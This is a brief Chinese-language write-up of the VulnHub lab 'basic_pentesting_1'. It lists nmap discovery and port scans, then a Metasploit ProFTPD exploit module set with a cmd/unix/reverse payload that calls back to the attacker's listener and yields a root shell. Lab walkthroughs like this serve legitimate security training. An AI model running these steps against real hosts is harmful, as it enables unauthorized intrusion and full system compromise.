vulnhub系列:basic_pentesting_1
一、信息收集
nmap扫描存活,根据mac地址寻找IP
nmap 192.168.23.0/24
nmap扫描端口,开放端口:21、22、80
nmap 192.168.23.176 -p- -A -sV -Pn
访问80端口,提示没有添加任何内容
kali使用msfconsole查找漏洞
msfconsole
search ProFTPD
二、getshell
可以看到第五个是符合版本的(之前扫描端口的版本),使用并查看配置信息
use 5
options
需要配置rhosts
set rhosts 192.168.23.176
设置payload
set payload cmd/unix/reverse
查看配置,还需要配置监听地址
options
配置lhost
set lhost 192.168.23.133
输入run开始执行,成功getshell,发现已经是root权限